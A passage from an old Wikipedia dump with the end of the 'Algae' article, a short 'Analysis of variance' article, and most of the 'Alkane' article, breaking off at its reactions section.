Note many of these groups contain some members that are no longer photosynthetic.  Some retain plastids, but not chloroplasts, while others have lost them entirely.

== Forms of algae ==
Most of the simpler algae are unicellular [[flagellate]]s or [[amoeboid]]s, but colonial and non-motile forms have developed independently among several of the groups.  Some of the more common organizational levels, more than one of which may occur in the [[Biological life cycle|life cycle]] of a species, are:

* ''Colonial'' - small, regular groups of motile cells
* ''Capsoid'' - individual non-motile cells embedded in [[mucilage]]
* ''Coccoid'' - individual non-motile cells with cell walls
* ''Palmelloid'' - non-motile cells embedded in mucilage
* ''Filamentous'' - a string of non-motile cells connected together, sometimes branching
* ''Parenchymatous'' - cells forming a [[thallus (tissue)|thallus]] with partial differentiation of tissues

In three lines even higher levels of organization have been reached, leading to organisms with full tissue differentiation.  These are the [[brown alga]]e&amp;mdash;some of which may reach 70 m in length ([[kelp]]s)&amp;mdash;the [[red alga]]e, and the [[green alga]]e. The most complex forms are found among the green algae (see [[Charales]]), in a lineage that eventually led to the higher land plants.  The point where these non-algal plants begin and algae stop is usually taken to be the presence of reproductive organs with protective cell layers, a characteristic not found in the other alga groups.

== Algae and symbioses==
Some species of algae form [[symbiosis|symbiotic relationships]] with other organisms. In these symbioses, the algae supply photosynthates (organic substances) to the host organism providing protection to the algal cells. The host organism derives some or all of its energy requirements from the alga. Examples include:
* ''lichens'' - a fungus is the host, usually with a green alga or a cyanobacterium as its symbiont. Both fungal and algal species found in lichens are capable of living independently, although habitat requirements may be greatly different from those of the lichen pair. 
* ''corals'' - algae known as [[zooxanthella]]e are symbionts with [[coral]]s. Notable amongst these is the dinoflagellate ''Symbiodinium'', found in many hard corals. The loss of ''Symbiodinium'', or other zooxanthellae, from the host is known as [[coral bleaching]].
* ''sponges'' -

== Uses of algae ==
Algae are used by man in a great many ways. Because many species are aquatic and microscopic, they are cultured in clear tanks or ponds and either harvested or used to treat effluents pumped through the ponds. [[Algae culture]] on a large scale is an important type of [[aquaculture]] in some places.  

===Energy source===
*Algae can be used to produce [[biodiesel]] (see [[algae culture#biodiesel production|algae culture]]), and by some estimates can produce vastly superior amounts of oil, compared to terrestrial crops grown for the same purpose.  Because algae grown to produce biodiesel does not need to meet the requirements of a food crop, it is much cheaper to produce.  Also it does not need fresh water or fertilizer (both of which are quite expensive).
*Algae can be grown to produce [[hydrogen]].  In 1939 a German researcher named [[Hans Gaffron]], while working at the University of Chicago, observed that the algae he was studying, [[Chlamydomonas reinhardtii]] (a green-algae), would sometimes switch from the production of oxygen to the production of hydrogen.[http://www.wired.com/news/technology/0,1282,54456,00.html]  Gaffron never discovered the cause for this change and for many years other scientists failed in their attempts at its discovery.  In the late 1990's professor [[Anastasios Melis]] a researcher at the University of California at Berkeley discovered that if you deprive the algae of sulfur it will switch from the production of oxygen (normal photosynthesis), to the production of hydrogen.  He found that the [[enzyme]] responsible for this reaction is [[hydrogenase]], but that the hydrogenase will not cause this switch in the pressence of oxygen.  Melis found that depleting the amount of sulfur available to the algae interrupted its internal oxygen flow, allowing the hydrogenase an environment in which it can react, causing the algae to produce hydrogen. [http://www.wired.com/wired/archive/10.04/mustread.html?pg=5]  [[Chlamydomonas moeweesi]] is also a good strain for the production of hydrogen.
*Algae can be grown to produce [[biomass]], which can be burned to produce heat and electricity.

[http://pmb.berkeley.edu/newPMB/faculty/melis/melis.shtml pmb.berkeley.edu]

===Pollution control===
* Algae are used in wastewater treatment facilities, reducing the need for more dangerous chemicals. 
* Algae can be used to capture [[fertilizers]] in runoff from farms.  If this algae is then harvested, it itself can be used as fertilizer.
* Algae are used by some powerplants to reduce CO2 [[emissions]][http://www.usatoday.com/tech/science/2006-01-10-algae-powerplants_x.htm]. The CO2 is pumped into a pond, or some kind of tank, on which the algae feed.

===Nutritional value of algae===
*Algae is commercially cultivated as a nutritional supplement. One of the most popular [[microalgal]] species is [[Spirulina]] (Arthrospira platensis), which is a [[Cyanobacteria]] (known as blue-green algae), and has been hailed by some as a superfood. [http://www.siu.edu/~ebl/leaflets/algae.htm]Other algal species cultivated for their nutritional value include; [[Chlorella]] (a green algae), and [[Dunaliella]] (Dunaliella salina), which is high in [[beta-carotene]] and is used in vitamin C supplements.
*Algae is sometimes also used as a food, as in the Chinese &quot;vegetable&quot; known as ''[[fat choy (vegetable)|fat choy]]'' (which is actually a [[cyanobacterium]]).
*The oil from some algae have high levels of unsaturated fatty acids.  [[Arachidonic acid]](a polyunsaturated fatty acid), is very high in [[parietochloris incisa]], (a green algae) where it reaches up to 47% of the triglyceride pool (Bigogno C et al. Phytochemistry 2002, 60, 497).

[http://www.spirulinasource.com/earthfoodch8a.html www.spirulinasource.com]

[http://www.cfsan.fda.gov/~rdb/opa-g137.html www.cfsan.fda.gov] FDA on algal-oil use in food products

The natural [[pigment]]s produced by algae can be used as an alternative to chemical [[dyes]] and coloring agents.  [http://www.bgu.ac.il/bgn/Microalgae.html]  Many of the paper products used today are not recyclable because of the chemical inks that they use, paper recyclers have found that inks made from algae are much easier to break down.  There is also much interest in the food industry into replacing the coloring agents that are currently used with coloring derived from algal pigments.

==See also==
* [[Algae culture]]
* [[Brown Algae]]
* [[Coccolithophore]]
* [[Cyanobacteria]]
* [[Diatom]]
* [[Golden Algae]]
* [[Green Algae]]
* [[List of publications in biology#Phycology|Important publications in phycology]]
* [[Red Algae]]
* [[Yellow-Green Algae]]

== External links ==
*[http://www.phyco.org/phyco/index.php/Main_Page www.phyco.org]; a wiki-based site that is focused on energy production from algae. 
*[http://forums.biodieselnow.com/forum.asp?FORUM_ID=71 biodieselnow.com] biodiesel production-biodiesel from algae  
*[http://www.algaebase.org/ www.algaebase.org]
*[http://www.rbgsyd.nsw.gov.au/information_about_plants/botanical_info/australian_freshwater_algae2 Australian freshwater algae] - Sydney Botanic Gardens
*[http://www.algae.info/ Learn about Algae &amp; Algal Blooms] - Rural Chemical Industries (Aust.) Pty Ltd.
*[http://www.whoi.edu/redtide/ Harmful Algal Blooms - &quot;Red tide&quot;] - National Office for Marine Biotoxins and Harmful Algal Blooms, USA.
*[http://www.nmnh.si.edu/botany/projects/algae/Alg-Menu.htm Algae Section, National Museum of Natural History] - Smithsonian Institution
*[http://www.plantphysiol.org/ www.plantphysiol.org]
*[http://www-cyanosite.bio.purdue.edu/ Cyanosite]

[[Category:Algae|Algae]]
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  <page>
    <title>Analysis of variance</title>
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      <text xml:space="preserve">In [[statistics]], '''analysis of variance''' ('''ANOVA''') is a collection of [[statistical model]]s and their associated procedures which compare means by splitting the overall observed [[variance]] into different parts.  The initial techniques of the analysis of variance were pioneered by the [[statistician]] and [[geneticist]] [[Ronald Fisher]] in the [[1920s]] and [[1930s]], and is sometimes known as '''Fisher's ANOVA''' or '''Fisher's analysis of variance'''.

==Overview==

There are three conceptual classes of such models:
*Fixed-effects model assumes that the data come from [[normal distribution|normal populations]] which differ in their means.
*Random-effects models assume that the data describe a hierarchy of different populations whose differences are constrained by the hierarchy.
*Mixed models describe situations where both fixed and random effects are present.

The fundamental technique is a partitioning of the total sum of squares into components related to the effects in the model used. For example, we show the model for a simplified ANOVA with one type of treatment at different levels. (If the treatment levels are quantitative and the effects are linear, a [[linear regression]] analysis may be appropriate.)

: &lt;math&gt;SS_{\hbox{Total}} = SS_{\hbox{Error}} + SS_{\hbox{Treatments}}.&lt;/math&gt;

The number of [[degrees of freedom]] (abbreviated ''df'') can be partitioned in a similar way and specifies the [[chi-square distribution]] which describes the associated sums of squares.

: &lt;math&gt;df_{\hbox{Total}} = df_{\hbox{Error}} + df_{\hbox{Treatments}}.&lt;/math&gt;

== Fixed-effects model ==

The fixed-effects model of analysis of variance applies to situations in which the experimenter has subjected his experimental material to several treatments, each of which affects only the mean of the underlying normal distribution of the &quot;response variable&quot;.

== Random-effects model ==

Random effects models are used to describe situations in which incomparable differences in experimental material occur. The simplest example is that of estimating the unknown mean of a population whose individuals differ from each other. In this case, the variation between individuals is ''confounded'' with that of the observing instrument.

== Degrees of freedom ==

Degrees of freedom indicates the effective number of observations which contribute to the sum of squares in an ANOVA, the total number of observations minus the number of linear constraints in the data.

== Tests of significance ==

Analyses of variance lead to tests of [[statistical significance]] using [[Ronald Fisher|Fisher]]'s [[F-distribution]].

==See also==
*[[ANCOVA]]
*[[MANOVA]]
*[[list of publications in statistics#Analysis of variance |Important publications in analysis of variance]]
*[[Multiple comparisons]]
*[[Duncan's new multiple range test]]

== External links ==
*[http://www.sixsigmafirst.com/anova.htm Analysis Of Variance (sixsigmafirst)]
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    <title>Alkane</title>
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      <text xml:space="preserve">{{mergefrom|List of alkanes}}

:''For [[Saturation (chemistry)|saturated]] [[hydrocarbon]]s containing one or more rings, see [[Cycloalkane]].''

An '''alkane''' in [[organic chemistry]] is a [[Saturation (chemistry)|saturated]] [[hydrocarbon]] without cycles, that is, an acyclic [[hydrocarbon]] in which the [[molecule]] has the maximum possible number of [[hydrogen]] atoms and so has no [[double bond]]s. Alkanes are [[aliphatic]] compounds.

The general formula for alkanes is '''C&lt;sub&gt;n&lt;/sub&gt;H&lt;sub&gt;2n+2&lt;/sub&gt;'''; the simplest possible alkane is therefore [[methane]], CH&lt;sub&gt;4&lt;/sub&gt;. The next simplest is [[ethane]], C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;; the series continues indefinitely.  Each carbon atom in an alkane has sp³ [[Orbital hybridisation|hybridization]].

Alkanes are also known as [[Paraffin|paraffins]], or collectively as the ''paraffin series''. These terms also used for alkanes whose carbon atoms form a single, unbranched chain. Such branched-chain alkanes are called ''[[isoparaffins]]''.

==Isomerism==
The atoms in alkanes with more than three carbon atoms can be arranged in multiple ways, forming different [[isomer]]s. &quot;Normal&quot; alkanes have a linear, unbranched configuration. The number of isomers increases rapidly with the number of carbon atoms; for  alkanes with 1 to 12 carbon atoms, the number of isomers equals 1, 1, 1, 2, 3, 5, 9, 18, 35, 75, 159, and 355, respectively {{OEIS|id=A000602}}.

==Nomenclature of alkanes==
The names of all alkanes end with '''-ane'''.

===Alkanes with unbranched carbon chains===
The first four members of the series (in terms of number of carbon atoms) are named as follows:
:[[methane]], CH&lt;sub&gt;4&lt;/sub&gt;
:[[ethane]], C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;
:[[propane]], C&lt;sub&gt;3&lt;/sub&gt;H&lt;sub&gt;8&lt;/sub&gt;
:[[butane]], C&lt;sub&gt;4&lt;/sub&gt;H&lt;sub&gt;10&lt;/sub&gt;
Alkanes with [[five]] or more carbon atoms are named by adding the [[suffix]] '''-ane''' to the appropriate [[IUPAC numerical multiplier|numerical multiplier]] with elision of a terminal ''-a-'' from the basic numerical term. Hence, [[pentane]], C&lt;sub&gt;5&lt;/sub&gt;H&lt;sub&gt;12&lt;/sub&gt;; [[hexane]], C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;14&lt;/sub&gt;; [[heptane]], C&lt;sub&gt;7&lt;/sub&gt;H&lt;sub&gt;16&lt;/sub&gt;; [[octane]], C&lt;sub&gt;8&lt;/sub&gt;H&lt;sub&gt;18&lt;/sub&gt;; etc. For a more complete list, see [[List of alkanes]].

Straight-chain alkanes are sometimes indicated by the prefix ''n-'' (for ''normal'') to distinguish them from branched-chain alkanes having the same number of carbon atoms. Although this is not strictly necessary, the usage is still common in cases where there is an important difference in properties between the straight-chain and branched-chain isomers: e.g. [[hexane|''n''-hexane]] is a [[neurotoxin]] while its branched-chain isomers are not.

===Alkanes with branched carbon chains===
Branched alkanes are named as follows:

* Identify the longest straight chain of carbon atoms.

* Number the atoms in this chain, starting from 1 at one end and counting upwards to the other end.

* Examine the groups attached to the chain in order and form their names.

* Form the name by looking at the different attached groups, and writing, for each group, the following:
** The number, or numbers, of the carbon atom, or atoms, where it is attached.
** The prefixes ''di-'', ''tri-'', ''tetra-'', etc. if the group is attached in 2, 3, 4, etc. places, or nothing if it is attached in only one place.
** The name of the attached group.

* The formation of the name is finished by writing down the name of the longest straight chain.

To carry out this algorithm, we must know how to name the substituent groups.  This is done by the same method, except that instead of the longest chain of carbon atoms, the longest chain starting from the attachment point is used; also, the numbering is done so that the carbon atom next to the attachment point has the number 1.

For example, the compound
[[image:isobutane.png]]
is the only 4-carbon alkane possible, apart from butane.  Its formal name is 2-methylpropane.

Pentane, however, has two branched isomers, in addition to its linear, normal form:

[[image:dimethylpropane.png]]&lt;br /&gt;
2,2-dimethylpropane

and

[[image:2-methylbutane.png]] &lt;br /&gt;
2-methylbutane.

===Trivial names===
The following nonsystematic names are retained in the IUPAC system:
:[[isobutane]] for 2-methylpropane
:[[isopentane]] for 2-methylbutane
:[[neopentane]] for 2,2-dimethylpropane
The name ''isooctane'' is very widely used in the [[Petrochemistry|petrochemical industry]] to refer to [[2,2,4-trimethylpentane]].

==Occurrence==
&lt;!-- Translated from [[:de:Alkane]] --&gt;
[[Image:Jupiter.jpg|thumb|right|Methane and ethane make up a large proportion of Jupiter's atmosphere]]
Alkanes occur both on [[Earth]] and in the solar system, however only the first hundred or so, and even then mostly only in traces. The light hydrocarbons, especially [[methane]] and [[ethane]] for example, have been detected both in the tail of the comet [[Hyakutake]] and in some [[meteorite]]s such as [[carbonaceous chondrite]]s. They also form an important portion of the [[Celestial body atmosphere|atmospheres]] of the outer gas planets [[Jupiter]], [[Saturn]], [[Uranus]] and [[Neptune]]. On [[Titan (moon)|Titan]], the satellite of Saturn, it is believed that there were once large oceans of these and longer chain alkanes: smaller seas of liquid ethane are thought still to exist there.

Traces of methane (about 0.0001% or 1 ppm) occur in the Earth's atmosphere, produced primarily by forms of [[Archaea]]. The content in the oceans is negligible due to the low solubility in water: however, at high pressures and low temperatures, methane can co-crystallize with water to form a solid [[methane hydrate]]. Although they cannot be commercially exploited at the present time, the calorific value of the known methane hydrate fields exceeds the energy content of all the natural gas and oil deposits put together&amp;mdash;methane extracted from methane hydrate is considered therefore a candidate for future fuels.

[[Image:Oil well3419.jpg|thumb|right|Extraction of alkanes in Ontario]]
Today, the most important commercial sources for alkanes are clearly [[natural gas]] and [[Petroleum|oil]], which are the only [[organic compound]]s to occur as minerals in nature. Natural gas contains primarily methane and ethane, with some [[propane]] and [[butane]]: oil is a mixture of liquid alkanes and other hydrocarbons. Both were formed when dead marine animals and plants (zooplankton and phytoplankton) sank to the bottom of ancient seas and were covered with sediments in an anoxic environment (ie lacking in oxygen) and converted over many millions of years at high temperatures and high pressure to their current form. Natural gas resulted thereby for example from the following reaction:
:C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;12&lt;/sub&gt;O&lt;sub&gt;6&lt;/sub&gt; &amp;rarr; 3CH&lt;sub&gt;4&lt;/sub&gt; + 3CO&lt;sub&gt;2&lt;/sub&gt;
These hydrocarbons collected in porous rocks, trapped beneath an impermeable cap rock. In contrast to methane, which is constantly reformed in large quantities, higher alkanes rarely develop to a considerable extent in nature. The present deposits will not be reformed once they are exhausted.

Solid alkanes occur as [[evaporation]] residues from oil, known as [[tar]]. One of the largest natural deposits of solid alkanes is in the [[asphalt]] lake known as the [[Pitch Lake]] in [[Trinidad and Tobago]].

==Purification and use==
&lt;!-- Translated from [[:de:Alkane]] --&gt;
[[Image:ShellMartinez.jpg|thumb|right|An [[oil refinery]] at [[Martinez]], [[California]].]]
Alkanes are both important raw materials of the chemical industry and the most important fuels of the world economy.

The starting materials for the processing are always [[natural gas]] and [[crude oil]]. The latter is separated in an [[oil refinery]] by [[fractional distillation]] and processed into many different products, for example [[gasoline]]. The different &quot;fractions&quot; of crude oil have different boiling points and can be isolated and separated quite easily: within the individual fractions the boiling points lie closely together.

The domain of usage of a certain alkane can be determined quite well according to the number of  carbon atoms, although the following demarcation is idealized and not perfect. The first four alkanes are used mainly for heating and cooking purposes, and in some countries for electricity generation. [[Methane]] and [[ethane]] are the main componants of natural gas; they are normally stored as gases under pressure. It is however easier to transport them as liquids: this requires both compression and cooling of the gas.

[[Propane]] and [[butane]] can be liquefied at fairly low pressures, and are well known as '''liquified petroleum gas (LPG)'''. Propane, for example, is used in the propane gas burner, butane in disposable cigarette lighters (where the pressure is a mere 2 [[bar (unit)|bar]]). The two alkanes are used as propellants in [[aerosol spray]]s.

From [[pentane]] to [[octane]] the alkanes are highly volatile liquids. They are used as fuels in [[internal combustion engine]]s, as they vaporise easily on entry into the combustion chamber without forming droplets which would impair the unifomity of the combustion. Branched-chain alkanes are preferred, as they are much less prone to premature ignition which causes [[Engine knocking|knocking]] than their straight-chain homologues. This propensity to premature ignition is measured by the [[octane rating]] of the fuel, where [[2,2,4-trimethylpentane]] (''isooctane'') has an arbitrary value of 100 and [[heptane]] has a value of zero. Apart from their use as fuels, the middle alkanes are also good solvents for nonpolar substances.

Alkanes from [[nonane]] to, for instance, [[hexadecane]] (an alkane with sixteen carbon atoms) are liquids of higher [[viscosity]], less and less suitable for use in gasoline. They form instead the major part of [[diesel]] and [[aviation fuel]]. Diesel fuels are charaterised by their [[cetane number]], cetane being an old name for hexadecane. However the higher melting points of these alkanes can cause problems at low temperatures and in polar regions, where the fuel becomes too thick to flow correctly.

Alkanes from hexadecane upwards form the most important components of [[fuel oil]] and [[lubricating oil]]. In latter function they work at the same time as anti-corrosive agents, as their hydrophobic nature means that water cannot reach the metal surface. Many solid alkanes find use as [[paraffin wax]], for example in [[candle]]s. This should not be confused however with true [[wax]], which consists primarily of [[ester]]s.

Alkanes with a chain length of approximately 35 or more carbon atoms are found in [[bitumen]], used for example in road surfacing. However the higher alkanes have little value and are usually split into lower alkanes by [[cracking]].

==Preparation==
Numerous ways exist to prepare alkanes in the laboratory. The most well known methods are [[hydrogenation]] of [[alkene]]s and [[hydrolysis]] of [[Grignard reagent]]s. Alkanes can also be prepared directly from [[alkyl halide]]s in the [[Corey-House-Posner-Whitesides reaction]]. The [[Barton-McCombie deoxygenation]] removes hydroxyl groups from alcohols and the [[Clemmensen reduction]] removes carbonyl groups from aldehydes and ketones to form alkanes.

==Molecular geometry==
&lt;!-- Translated from [:de:Alkane]] --&gt;
[[Image:Ch4-hybridisation.png|thumb|right|sp&lt;sup&gt;3&lt;/sup&gt;-hybridisation in [[methane]].]]
The molecular structure of the alkanes directly affects their physical and chemical characteristics. It is derived from the [[electron configuration]] of [[carbon]], which has four [[valence electron]]s. The carbon atoms in alkanes are always [[Orbital hybidisation|sp&lt;sup&gt;3&lt;/sup&gt;-hybridised]], that is to say that the valence electrons are said to be in four equivalent orbitals derived from the combination of the 2s-orbital and the three 2p-orbitals. These orbitals, which have identical energies, are arranged spatially in the form of a tetrahedron, the angle of 109.47° between them.

===Bond lengths and bond angles===
&lt;!-- Translated from [:de:Alkane]] --&gt;
An alkane molecule has only C&amp;ndash;H and C&amp;ndash;C single bonds. The former result from the overlap of a sp³-orbital of carbon with the 1s-orbital of a hydrogen; the latter by the overlap of two sp³-orbitals on different carbon atoms. The [[bond length]]s amount to 1.09×10&lt;sup&gt;&amp;minus;10&lt;/sup&gt;&amp;nbsp;m for a C&amp;ndash;H bond and 1.54×10&lt;sup&gt;&amp;minus;10&lt;/sup&gt;&amp;nbsp;m for a C&amp;ndash;C bond.
[[Image:Ch4-structure.png|thumb|right|The tetrahedral structure of methane.]]

The spatial arrangement of the bonds is similar to that of the four sp³-orbitals&amp;mdash;they are tetrahedrally arranged, with an angle of 109.47° between them. Structural formulae which represent the bonds as being at right angles to one another, while both common and useful, do not correspond with the reality.

===Conformation===
&lt;!-- Translated from [:de:Alkane]] --&gt;
The structural formula and the [[bond angle]]s are not usually sufficient to completely describe the geometry of a molecule. There is a further [[degree of freedom]] for each carbon&amp;ndash;carbon bond: the [[torsion angle]] between the atoms or groups bound to the atoms at each end of the bond. The spatial arrangement described by the torsion angles of the molecule is known as its [[conformation]].

====Ethane====
&lt;!-- Translated from [:de:Alkane]] --&gt;
[[Ethane]] forms the simplest case for studying the conformation of alkanes, as there is only one C&amp;ndash;C bond. If one looks down the axis of the C&amp;ndash;C bond, then one will see the so-called [[Newman projection]]: The circle represents the two carbon atoms, one behind the other, and the bonds to hydrogen are represented by the straight lines. The hydrogen atoms on both the front and rear carbon atoms have an angle of 120° between them, resulting from the projection of the base of the tetrahedron onto a flat plane. However the torsion angle between a given hydrogen atom attached to the front carbon and a given hydrogen atom attached to the rear carbon can vary freely between 0° and 360°. This is a consequence of the free rotation about a carbon&amp;ndash;carbon single bond. Despite this apparent freedom, only two limiting conformations are important:
[[Image:Newman_projection_ethane.png|thumb|right|200px|Newman projections of the two conformations of ethane: eclipsed on the left, staggered on the right.]]

* In the '''eclipsed conformation''', corresponding to a torsion angle of 0°, 120° or 240°, the hydrogen atoms attached to the front carbon are directly in front of those attached to the rear carbon.
* In the '''staggered conformation''', corresponding to a torsion angle of 60°, 180° or 300°, the hydrogen atoms attached to the front carbon are exactly in between those attached to the rear carbon.

The two conformations, also known as [[rotomer]]s, differ in energy: The staggered conformation is 12.6&amp;nbsp;kJ/mol lower in energy (more stable) than the eclipsed conformation. The explanation for this difference in energy has been the subject of debate, with two main theories predominating:
*in the eclipsed conformation, the electrostatic repulsion between the electrons in the carbon&amp;ndash;hydrogen bonds is maximised.
*in the staggered conformation, the [[hyperconjugation]] (a form of delocalisation) of the valence electrons is maximised.
These two explanations are not contradictory or exclusive; the latter is thought to be the more important for ethane itself.

This difference in energy between the two conformations, known as the [[torsion energy]], is low compared to the thermal energy of an ethane molecule at ambient temperature. There is constant rotation about the C&amp;ndash;C bond, albeit with short &quot;pauses&quot; at each staggered conformation. The time taken for an ethane molecule to pass from one staggered conformation to the next, equivalent to the rotation of one CH&lt;sub&gt;3&lt;/sub&gt;-group by 120° relative to the other, is of the order of 10&lt;sup&gt;&amp;minus;11&lt;/sup&gt;&amp;nbsp;seconds.

====Higher alkanes====
&lt;!-- Translated from [:de:Alkane]] --&gt;
[[Image:Newman_projection_butane.png|thumb|right|400px|The four conformations of butane. From left to right: fully eclipsed, inclined, partially eclipsed, antiperiplanar.]]
The situation with respect to the two C&amp;ndash;C bonds in [[propane]] is qualitatively similar to that of ethane: it is more complex, however, for [[butane]] and higher alkanes.

If one takes the central C&amp;ndash;C bond of butane as the reference axis, each of the two central carbon atoms is bound to two hydrogen atoms and a methyl group. Four different conformations can be defined by the torsion angle between the two methyl groups and, as in the case of ethane, each has its characteristic energy.

*The '''fully eclipsed''' or '''synperiplanar''' conformation has a torsion angle of 0°. It is the configuration with the highest energy.

*The '''inclined''' conformation has a torsion angle of 60° (or 300°). It is a local energy minimum.

*The '''partially eclipsed''' conformation has a torsion angle of 120° (or 240°). It is a local energy maximum.

*The '''antiperiplanar''' conformation has a torsion angle of 180°. The two methyl groups are as far from each other as is possible, and this configuration has the lowest energy.

The difference in energy between the fully eclipsed conformation and the antiperiplanar conformation is about 19&amp;nbsp;kJ/mol, and is therefore still relatively small at ambient temperature.

The case of higher alkanes is similar: the antiperiplanar conformation is always the most favoured around each carbon&amp;ndash;carbon bond. For this reason, alkanes are usually shown in a zigzag arrangement in diagrams or in models. The actual structure will always differ somewhat from these idealised forms, as the differences in energy between the conformations are small compared to the thermal energy of the molecules: alkane molecules have no fixed structural form, whatever the models may suggest.

The conformations of other organic molecules are based on those of alkanes, and are discussed in the relevant articles.

==Properties==
===Physical properties===
&lt;!-- Translated from [:de:Alkane]] --&gt;
[[Image:Alkanschmelzundsiedepunkt.png|right|thumb|300px|Melting (blue) and boiling (pink) points of the first 14 ''n''-alkanes in °C. ]]
The molecular structure, particularly the [[surface area]] of the molecule, determines the boiling point of the alkane: the smaller the surface, the lower the boiling point, as the [[van der Waals force]]s between the molecules are weaker. A reduction of the surface area can be achieved by chain-branching or by a circular structure. This means in practice that alkanes with higher number of carbon atoms usually have higher [[boiling point]]s than those with lower numbers of carbon atoms, and that branched-chain alkanes and [[cycloalkane]]s have lower boiling points than their straight-chain homologues. Under [[standard conditions]], from CH&lt;sub&gt;4&lt;/sub&gt; to C&lt;sub&gt;4&lt;/sub&gt;H&lt;sub&gt;10&lt;/sub&gt; alkanes are gaseous; from C&lt;sub&gt;5&lt;/sub&gt;H&lt;sub&gt;12&lt;/sub&gt; to C&lt;sub&gt;17&lt;/sub&gt;H&lt;sub&gt;36&lt;/sub&gt; they are liquids; and after C&lt;sub&gt;18&lt;/sub&gt;H&lt;sub&gt;38&lt;/sub&gt; they are solids. The boiling point increases between 20 and 30&amp;nbsp;&amp;deg;C per CH&lt;sub&gt;2&lt;/sub&gt;-group.

The [[melting point]]s of the alkanes also rise with the increase in the number of carbon atoms (with only one exception, [[propane]]). However the melting points rise more slowly than the boiling points, in particular for the higher alkanes. In addition, the melting points of alkanes with an odd number of carbon atoms increase faster than the melting points of alkanes with an even number of carbon atoms (see figure): the cause of this phenomenon is the higher [[packing density]] of the alkanes with an even number of carbon atoms. The melting points of branched-chain alkanes can be either higher or lower than those of the corresponding straight-chain alkanes, depending on the efficiency of molecular packing: this is particularly true for isoalkanes (2-methyl isomers), which often have melting points higher than those of their normal analogues.

Alkanes do not conduct [[electricity]], nor are they substantially [[Polarization|polarized]] by an [[electric field]]. For this reason they do not form [[hydrogen bond]]s and are insoluble in polar solvents such as water. Since the hydrogen bonds between individual water molecules are aligned away from an alkane molecule, the coexistance of an alkane and water leads to an increase in molecular order (a reduction in [[entropy]]). As there is no significant bonding between water molecules and alkane molecules, the [[second law of thermodynamics]] suggests that this reduction in entropy should be minimised by minimising the contact between alkane and water: alkanes are said to be [[hydrophobic]] in that they repel water.

Their solubility in nonpolar solvents is relatively good, a property which is called [[lipophilicity]]. Different alkanes are, for example, miscible in all proportions among themselves.

The density of the alkanes usually increases with increasing number of carbon atoms, but remains less than that of water. Hence, alkanes form the upper layer in an alkane-water mixture.

===Chemical properties===
&lt;!-- Translated from [:de:Alkane]] --&gt;
Alkanes generally show a relatively low reactivity, because their C&amp;ndash;H and C&amp;ndash;C bonds are relatively stable and cannot be easily broken. Unlike all other organic compounds, they possess no [[functional group]]s.

They react only very poorly with ionic or other polar substances. The [[Acid dissociation constant|p''K''&lt;sub&gt;a&lt;/sub&gt;]] values of all alkanes are above 60, and so they are practically inert to acids and bases. This inertness is the source of the term ''paraffins'' ([[Latin]] ''para'' + ''affinis'', with the meaning here of &quot;lacking affinity&quot;). In [[crude oil]] the alkane molecules have remained chemically unchanged for millions of years.

However [[redox reaction]]s of alkanes, in particular with [[oxygen]] and the [[halogen]]s, are possible as the carbon atoms are in a strongly reduced condition; in the case of [[methane]], the lowest possible [[oxidation state]] for carbon (&amp;minus;4) is reached. Reaction with oxygen leads to [[combustion]]; with halogens, [[substitution]].  In addition, alkanes have been shown to interact with, and bind to, certain transition metal complexes.

Free radicals, molecules with unpaired electrons, play a large role in most reactions of alkanes, such as [[cracking]] and [[reformation]] where long-chain alkanes are converted into shorter-chain alkanes and straight-chain alkanes into branched-chain isomers.

In highly brached alkanes, the [[bond angle]]s may differ significantly from the optimal value (109.5&amp;deg;) in order to allow the different groups sufficient space. This causes a tension in the molecule, known as [[steric hinderance]], and can substantially increase the reactivity.

===Thermochemistry===
Alkanes are stable molecules relative to their constituent elements, which is manifested as a negative [[Standard enthalpy change of formation|heat of formation]]. For linear alkanes, each [[methylene]] (CH&lt;sub&gt;2&lt;/sub&gt;) unit contributes -5 kcal/mol to the overal heat of formation. Branched alkanes are always a little bit more stable than their linear isomers; for example, 2-methylbutane is more stable than ''n''-pentane by 1.8 kcal/mol, and 2,2-methylpropane is more stable than ''n''-pentane by 5 kcal/mol.

See the [[Standard enthalpy change of formation (data table)#Alkanes|alkane heat of formation table]] for detailed data.

===Spectroscopic properties===
Virtually all organic compounds contain carbon&amp;ndash;carbon and carbon&amp;ndash;hydrogen bonds, and so show some of the features of alkanes in their spectra. Alkanes are notable for having no other groups, and therefore for the ''absence'' of other characreistic spectroscopic features.
====Infrared spectroscopy====
The carbon&amp;ndash;hydrogen stretching mode gives a strong absorption between 2850 and 2960&amp;nbsp;cm&lt;sup&gt;&amp;minus;1&lt;/sup&gt;, while the carbon&amp;ndash;carbon stretching mode absorbes between 800 and 1300&amp;nbsp;cm&lt;sup&gt;&amp;minus;1&lt;/sup&gt;. The carbon&amp;ndash;hydrogen bending modes depend on the nature of the group: methyl groups show bands at 1450&amp;nbsp;cm&lt;sup&gt;&amp;minus;1&lt;/sup&gt; and 1375&amp;nbsp;cm&lt;sup&gt;&amp;minus;1&lt;/sup&gt;, while methylene groups show bands at 1465&amp;nbsp;cm&lt;sup&gt;&amp;minus;1&lt;/sup&gt; and 1450&amp;nbsp;cm&lt;sup&gt;&amp;minus;1&lt;/sup&gt;. Carbon chains with more than four carbon atoms show a weak absorption at around 725&amp;nbsp;cm&lt;sup&gt;&amp;minus;1&lt;/sup&gt;.
====NMR spectroscopy====
The proton resonances of alkanes are usually found at &amp;delta;&lt;sub&gt;H&lt;/sub&gt; = 0&amp;ndash;1. The carbon-13 resonances depend on the number of hydrogen atoms attached to the carbon: &amp;delta;&lt;sub&gt;C&lt;/sub&gt; = 8&amp;ndash;30 (methyl), 15&amp;ndash;55 (methylene), 20&amp;ndash;60 (methyne). The carbon-13 resonance of quaternary carbon atoms is characteristically weak, due to the lack of [[nuclear Overhauser enhancement]] and the long [[relaxation time]]: it can be missed in routine spectra.

====Mass spectrometry====
Alkanes have a high [[ionisation energy]], and the molecular ion is usually weak. The fragmentation pattern can be difficult to interpret, but, in the case of branched chain alkanes, the carbon chain is preferentially cleaved at tertiary or quaternary carbons due to the relative stability of the resulting [[free radical]]s. The fragment resulting from the loss of a single methyl group (M&amp;minus;15) is often absent, and other fragment are often spaced by intervals of fourteen mass units, corresponding to sequential loss of CH&lt;sub&gt;2&lt;/sub&gt;-groups.

==Reactions==
===Reactions with oxygen===
